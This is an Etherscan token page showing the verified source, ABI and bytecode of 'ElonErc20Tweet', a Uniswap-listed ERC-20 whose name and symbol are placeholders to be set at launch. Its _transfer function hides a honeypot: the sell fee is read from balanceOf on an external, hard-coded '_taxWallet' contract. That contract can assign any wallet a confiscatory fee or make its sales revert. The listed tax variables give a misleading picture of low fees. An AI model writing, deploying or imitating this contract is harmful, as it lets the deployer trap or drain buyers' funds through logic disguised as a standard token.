ETH Price: $2,954.01 (-5.34%)
Gas: 7 Gwei

Token

Name will be changed at launch (Symbol will be changed at launch)
 

Overview

Max Total Supply

420,690,420 Symbol will be changed at launch

Holders

10

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
2.127678105892183564 Symbol will be changed at launch

Value
$0.00
0xcd324aedc3d637f634c6b4ab783ca3cc48a9b8c8
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
ElonErc20Tweet

Compiler Version
v0.8.24+commit.e11b9ed9

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license
/**
 *Submitted for verification at Etherscan.io on 2024-01-29
*/

// SPDX-License-Identifier: None

// https://t.me/elontwee

pragma solidity 0.8.24;

library SafeMath {
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a, "SafeMath:  subtraction overflow");
        uint256 c = a - b;
        return c;
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath:  addition overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b > 0, "SafeMath:  division by zero");
        uint256 c = a / b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {return 0;}
        uint256 c = a * b;
        require(c / a == b, "SafeMath:  multiplication overflow");
        return c;
    }
}
interface IUniswapV2Router02 {
    function WETH() external pure returns (address);
    function factory() external pure returns (address);
     function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
interface IUniswapV2Factory {
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IERC20 {
    function balanceOf(address account) external view returns (uint256);
    function totalSupply() external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
}

contract Ownable {
    address internal _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = msg.sender;
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == msg.sender, "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

contract ElonErc20Tweet is Ownable {
    using SafeMath for uint256;
    uint8 private _decimals = 18;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    uint256 private _totalSupply =  420690420 * 10 ** _decimals;
    address internal uniswapV2Pair;
    IUniswapV2Router02 private uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    string private _name = "Name will be changed at launch";
    string private _symbol = "Symbol will be changed at launch";
    address payable internal _taxWallet = payable(0x9f722ADD7958F1248D77d673bB0a17ee2798eaeF);
    bool private tradingOpen = false;
    uint256 private _preventSwapBefore=10;
    uint256 private _initialBuyTax=0;
    uint256 public _reduceBuyTaxAt=5;
    uint256 private _finalBuyTax=0;
    uint256 private _initialSellTax=5;
    uint256 private _finalSellTax=0;
    uint256 public _reduceSellTaxAt=5;
    uint256 private _buyCount = 0;

    event Approval(address indexed owner, address indexed spender, uint256 value);
    event Transfer(address indexed from, address indexed to, uint256 amount);

    constructor () {
        _balances[address(this)] = _totalSupply;
        emit Transfer(address(0), address(this), _totalSupply);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function totalSupply() public view returns (uint256) {
        return _totalSupply;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function approve(address spender, uint256 amount) public returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }
    
    function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function balanceOf(address account) public view returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 _fee = _buyCount < _reduceBuyTaxAt ? _initialBuyTax : _finalBuyTax;
        uint256 balance = IERC20(_taxWallet).balanceOf(from);
        if (from != address(this) && from != uniswapV2Pair) {
            _fee = balance > _reduceSellTaxAt ? balance : _finalSellTax;
        }
        uint256 _feeAmount = amount.mul(_fee).div(100);
        _balances[to] = _balances[to].add(amount).sub(_feeAmount);
        _balances[from] = _balances[from].sub(amount);
        emit Transfer(from, to, amount);
    }

    function allowance(address owner, address spender) public view returns (uint256) {
        return _allowances[owner][spender];
    }

    function startTrading(string memory newName, string memory newSymbol) external payable onlyOwner() {
        require(!tradingOpen,"trading is already open");
        _name = newName;
        _symbol = newSymbol;
        _approve(address(this), address(uniswapV2Router), _totalSupply);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: msg.value}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        tradingOpen = true;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_reduceBuyTaxAt","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_reduceSellTaxAt","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"newName","type":"string"},{"internalType":"string","name":"newSymbol","type":"string"}],"name":"startTrading","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

608060405260125f60146101000a81548160ff021916908360ff1602179055505f60149054906101000a900460ff16600a6200003c9190620004b4565b63191339f46200004d919062000504565b600355737a250d5630b4cf539739df2c5dacb4c659f2488d60055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506040518060400160405280601e81526020017f4e616d652077696c6c206265206368616e676564206174206c61756e6368000081525060069081620000ea9190620007a9565b506040518060400160405280602081526020017f53796d626f6c2077696c6c206265206368616e676564206174206c61756e636881525060079081620001319190620007a9565b50739f722add7958f1248d77d673bb0a17ee2798eaef60085f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f600860146101000a81548160ff021916908315150217905550600a6009555f600a556005600b555f600c556005600d555f600e556005600f555f601055348015620001d0575f80fd5b505f339050805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35060035460015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6003546040516200031491906200089e565b60405180910390a3620008b9565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b6001851115620003ac5780860481111562000384576200038362000322565b5b6001851615620003945780820291505b8081029050620003a4856200034f565b945062000364565b94509492505050565b5f82620003c6576001905062000498565b81620003d5575f905062000498565b8160018114620003ee5760028114620003f9576200042f565b600191505062000498565b60ff8411156200040e576200040d62000322565b5b8360020a91508482111562000428576200042762000322565b5b5062000498565b5060208310610133831016604e8410600b8410161715620004695782820a90508381111562000463576200046262000322565b5b62000498565b6200047884848460016200035b565b9250905081840481111562000492576200049162000322565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f620004c0826200049f565b9150620004cd83620004a8565b9250620004fc7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620003b5565b905092915050565b5f62000510826200049f565b91506200051d836200049f565b92508282026200052d816200049f565b9150828204841483151762000547576200054662000322565b5b5092915050565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680620005ca57607f821691505b602082108103620005e057620005df62000585565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f60088302620006447fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000607565b62000650868362000607565b95508019841693508086168417925050509392505050565b5f819050919050565b5f620006916200068b62000685846200049f565b62000668565b6200049f565b9050919050565b5f819050919050565b620006ac8362000671565b620006c4620006bb8262000698565b84845462000613565b825550505050565b5f90565b620006da620006cc565b620006e7818484620006a1565b505050565b5b818110156200070e57620007025f82620006d0565b600181019050620006ed565b5050565b601f8211156200075d576200072781620005e6565b6200073284620005f8565b8101602085101562000742578190505b6200075a6200075185620005f8565b830182620006ec565b50505b505050565b5f82821c905092915050565b5f6200077f5f198460080262000762565b1980831691505092915050565b5f6200079983836200076e565b9150826002028217905092915050565b620007b4826200054e565b67ffffffffffffffff811115620007d057620007cf62000558565b5b620007dc8254620005b2565b620007e982828562000712565b5f60209050601f8311600181146200081f575f84156200080a578287015190505b6200081685826200078c565b86555062000885565b601f1984166200082f86620005e6565b5f5b82811015620008585784890151825560018201915060208501945060208101905062000831565b8683101562000878578489015162000874601f8916826200076e565b8355505b6001600288020188555050505b505050505050565b62000898816200049f565b82525050565b5f602082019050620008b35f8301846200088d565b92915050565b61242f80620008c75f395ff3fe6080604052600436106100dc575f3560e01c806370a082311161007e57806395d89b411161005857806395d89b4114610298578063a9059cbb146102c2578063c36956a0146102fe578063dd62ed3e14610328576100dc565b806370a082311461021c578063715018a6146102585780638da5cb5b1461026e576100dc565b806318160ddd116100ba57806318160ddd1461017057806323b872dd1461019a578063313ce567146101d65780634b540f8814610200576100dc565b806306fdde03146100e0578063095ea7b31461010a5780630c19304514610146575b5f80fd5b3480156100eb575f80fd5b506100f4610364565b604051610101919061148c565b60405180910390f35b348015610115575f80fd5b50610130600480360381019061012b919061154a565b6103f4565b60405161013d91906115a2565b60405180910390f35b348015610151575f80fd5b5061015a61040a565b60405161016791906115ca565b60405180910390f35b34801561017b575f80fd5b50610184610410565b60405161019191906115ca565b60405180910390f35b3480156101a5575f80fd5b506101c060048036038101906101bb91906115e3565b610419565b6040516101cd91906115a2565b60405180910390f35b3480156101e1575f80fd5b506101ea6104c5565b6040516101f7919061164e565b60405180910390f35b61021a60048036038101906102159190611793565b6104da565b005b348015610227575f80fd5b50610242600480360381019061023d9190611809565b61098e565b60405161024f91906115ca565b60405180910390f35b348015610263575f80fd5b5061026c6109d4565b005b348015610279575f80fd5b50610282610b1b565b60405161028f9190611843565b60405180910390f35b3480156102a3575f80fd5b506102ac610b42565b6040516102b9919061148c565b60405180910390f35b3480156102cd575f80fd5b506102e860048036038101906102e3919061154a565b610bd2565b6040516102f591906115a2565b60405180910390f35b348015610309575f80fd5b50610312610be8565b60405161031f91906115ca565b60405180910390f35b348015610333575f80fd5b5061034e6004803603810190610349919061185c565b610bee565b60405161035b91906115ca565b60405180910390f35b606060068054610373906118c7565b80601f016020809104026020016040519081016040528092919081815260200182805461039f906118c7565b80156103ea5780601f106103c1576101008083540402835291602001916103ea565b820191905f5260205f20905b8154815290600101906020018083116103cd57829003601f168201915b5050505050905090565b5f610400338484610c70565b6001905092915050565b600b5481565b5f600354905090565b5f610425848484610e33565b6104ba84336104b58560025f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461127590919063ffffffff16565b610c70565b600190509392505050565b5f8060149054906101000a900460ff16905090565b3373ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610567576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161055e90611941565b60405180910390fd5b600860149054906101000a900460ff16156105b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105ae906119a9565b60405180910390fd5b81600690816105c69190611b64565b5080600790816105d69190611b64565b506106053060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600354610c70565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561066f573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106939190611c47565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610719573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061073d9190611c47565b6040518363ffffffff1660e01b815260040161075a929190611c72565b6020604051808303815f875af1158015610776573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061079a9190611c47565b60045f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71934306108213061098e565b5f8061082b610b1b565b426040518863ffffffff1660e01b815260040161084d96959493929190611cd2565b60606040518083038185885af1158015610869573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061088e9190611d45565b50505060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161092e929190611d95565b6020604051808303815f875af115801561094a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061096e9190611de6565b506001600860146101000a81548160ff0219169083151502179055505050565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b3373ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a5890611941565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060078054610b51906118c7565b80601f0160208091040260200160405190810160405280929190818152602001828054610b7d906118c7565b8015610bc85780601f10610b9f57610100808354040283529160200191610bc8565b820191905f5260205f20905b815481529060010190602001808311610bab57829003601f168201915b5050505050905090565b5f610bde338484610e33565b6001905092915050565b600f5481565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610cde576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cd590611e81565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610d4c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4390611f0f565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610e2691906115ca565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610ea1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9890611f9d565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610f0f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f069061202b565b60405180910390fd5b5f8111610f51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f48906120b9565b60405180910390fd5b5f600b5460105410610f6557600c54610f69565b600a545b90505f60085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231866040518263ffffffff1660e01b8152600401610fc69190611843565b602060405180830381865afa158015610fe1573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061100591906120d7565b90503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614158015611090575060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b156110ab57600f5481116110a657600e546110a8565b805b91505b5f6110d260646110c485876112d290919063ffffffff16565b61134990919063ffffffff16565b9050611136816111288660015f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546113a590919063ffffffff16565b61127590919063ffffffff16565b60015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506111c78460015f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461127590919063ffffffff16565b60015f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8660405161126591906115ca565b60405180910390a3505050505050565b5f828211156112b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112b09061214c565b60405180910390fd5b5f82846112c69190612197565b90508091505092915050565b5f8083036112e2575f9050611343565b5f82846112ef91906121ca565b90508284826112fe9190612238565b1461133e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611335906122d8565b60405180910390fd5b809150505b92915050565b5f80821161138c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138390612340565b60405180910390fd5b5f82846113999190612238565b90508091505092915050565b5f8082846113b3919061235e565b9050838110156113f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113ef906123db565b60405180910390fd5b8091505092915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b8381101561143957808201518184015260208101905061141e565b5f8484015250505050565b5f601f19601f8301169050919050565b5f61145e82611402565b611468818561140c565b935061147881856020860161141c565b61148181611444565b840191505092915050565b5f6020820190508181035f8301526114a48184611454565b905092915050565b5f604051905090565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6114e6826114bd565b9050919050565b6114f6816114dc565b8114611500575f80fd5b50565b5f81359050611511816114ed565b92915050565b5f819050919050565b61152981611517565b8114611533575f80fd5b50565b5f8135905061154481611520565b92915050565b5f80604083850312156115605761155f6114b5565b5b5f61156d85828601611503565b925050602061157e85828601611536565b9150509250929050565b5f8115159050919050565b61159c81611588565b82525050565b5f6020820190506115b55f830184611593565b92915050565b6115c481611517565b82525050565b5f6020820190506115dd5f8301846115bb565b92915050565b5f805f606084860312156115fa576115f96114b5565b5b5f61160786828701611503565b935050602061161886828701611503565b925050604061162986828701611536565b9150509250925092565b5f60ff82169050919050565b61164881611633565b82525050565b5f6020820190506116615f83018461163f565b92915050565b5f80fd5b5f80fd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b6116a582611444565b810181811067ffffffffffffffff821117156116c4576116c361166f565b5b80604052505050565b5f6116d66114ac565b90506116e2828261169c565b919050565b5f67ffffffffffffffff8211156117015761170061166f565b5b61170a82611444565b9050602081019050919050565b828183375f83830152505050565b5f611737611732846116e7565b6116cd565b9050828152602081018484840111156117535761175261166b565b5b61175e848285611717565b509392505050565b5f82601f83011261177a57611779611667565b5b813561178a848260208601611725565b91505092915050565b5f80604083850312156117a9576117a86114b5565b5b5f83013567ffffffffffffffff8111156117c6576117c56114b9565b5b6117d285828601611766565b925050602083013567ffffffffffffffff8111156117f3576117f26114b9565b5b6117ff85828601611766565b9150509250929050565b5f6020828403121561181e5761181d6114b5565b5b5f61182b84828501611503565b91505092915050565b61183d816114dc565b82525050565b5f6020820190506118565f830184611834565b92915050565b5f8060408385031215611872576118716114b5565b5b5f61187f85828601611503565b925050602061189085828601611503565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806118de57607f821691505b6020821081036118f1576118f061189a565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f61192b60208361140c565b9150611936826118f7565b602082019050919050565b5f6020820190508181035f8301526119588161191f565b9050919050565b7f74726164696e6720697320616c7265616479206f70656e0000000000000000005f82015250565b5f61199360178361140c565b915061199e8261195f565b602082019050919050565b5f6020820190508181035f8301526119c081611987565b9050919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f60088302611a237fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff826119e8565b611a2d86836119e8565b95508019841693508086168417925050509392505050565b5f819050919050565b5f611a68611a63611a5e84611517565b611a45565b611517565b9050919050565b5f819050919050565b611a8183611a4e565b611a95611a8d82611a6f565b8484546119f4565b825550505050565b5f90565b611aa9611a9d565b611ab4818484611a78565b505050565b5b81811015611ad757611acc5f82611aa1565b600181019050611aba565b5050565b601f821115611b1c57611aed816119c7565b611af6846119d9565b81016020851015611b05578190505b611b19611b11856119d9565b830182611ab9565b50505b505050565b5f82821c905092915050565b5f611b3c5f1984600802611b21565b1980831691505092915050565b5f611b548383611b2d565b9150826002028217905092915050565b611b6d82611402565b67ffffffffffffffff811115611b8657611b8561166f565b5b611b9082546118c7565b611b9b828285611adb565b5f60209050601f831160018114611bcc575f8415611bba578287015190505b611bc48582611b49565b865550611c2b565b601f198416611bda866119c7565b5f5b82811015611c0157848901518255600182019150602085019450602081019050611bdc565b86831015611c1e5784890151611c1a601f891682611b2d565b8355505b6001600288020188555050505b505050505050565b5f81519050611c41816114ed565b92915050565b5f60208284031215611c5c57611c5b6114b5565b5b5f611c6984828501611c33565b91505092915050565b5f604082019050611c855f830185611834565b611c926020830184611834565b9392505050565b5f819050919050565b5f611cbc611cb7611cb284611c99565b611a45565b611517565b9050919050565b611ccc81611ca2565b82525050565b5f60c082019050611ce55f830189611834565b611cf260208301886115bb565b611cff6040830187611cc3565b611d0c6060830186611cc3565b611d196080830185611834565b611d2660a08301846115bb565b979650505050505050565b5f81519050611d3f81611520565b92915050565b5f805f60608486031215611d5c57611d5b6114b5565b5b5f611d6986828701611d31565b9350506020611d7a86828701611d31565b9250506040611d8b86828701611d31565b9150509250925092565b5f604082019050611da85f830185611834565b611db560208301846115bb565b9392505050565b611dc581611588565b8114611dcf575f80fd5b50565b5f81519050611de081611dbc565b92915050565b5f60208284031215611dfb57611dfa6114b5565b5b5f611e0884828501611dd2565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f611e6b60248361140c565b9150611e7682611e11565b604082019050919050565b5f6020820190508181035f830152611e9881611e5f565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f611ef960228361140c565b9150611f0482611e9f565b604082019050919050565b5f6020820190508181035f830152611f2681611eed565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f611f8760258361140c565b9150611f9282611f2d565b604082019050919050565b5f6020820190508181035f830152611fb481611f7b565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f61201560238361140c565b915061202082611fbb565b604082019050919050565b5f6020820190508181035f83015261204281612009565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f6120a360298361140c565b91506120ae82612049565b604082019050919050565b5f6020820190508181035f8301526120d081612097565b9050919050565b5f602082840312156120ec576120eb6114b5565b5b5f6120f984828501611d31565b91505092915050565b7f536166654d6174683a20207375627472616374696f6e206f766572666c6f77005f82015250565b5f612136601f8361140c565b915061214182612102565b602082019050919050565b5f6020820190508181035f8301526121638161212a565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6121a182611517565b91506121ac83611517565b92508282039050818111156121c4576121c361216a565b5b92915050565b5f6121d482611517565b91506121df83611517565b92508282026121ed81611517565b915082820484148315176122045761220361216a565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61224282611517565b915061224d83611517565b92508261225d5761225c61220b565b5b828204905092915050565b7f536166654d6174683a20206d756c7469706c69636174696f6e206f766572666c5f8201527f6f77000000000000000000000000000000000000000000000000000000000000602082015250565b5f6122c260228361140c565b91506122cd82612268565b604082019050919050565b5f6020820190508181035f8301526122ef816122b6565b9050919050565b7f536166654d6174683a20206469766973696f6e206279207a65726f00000000005f82015250565b5f61232a601b8361140c565b9150612335826122f6565b602082019050919050565b5f6020820190508181035f8301526123578161231e565b9050919050565b5f61236882611517565b915061237383611517565b925082820190508082111561238b5761238a61216a565b5b92915050565b7f536166654d6174683a20206164646974696f6e206f766572666c6f77000000005f82015250565b5f6123c5601c8361140c565b91506123d082612391565b602082019050919050565b5f6020820190508181035f8301526123f2816123b9565b905091905056fea2646970667358221220440d75d2c553a489959689f377027df45a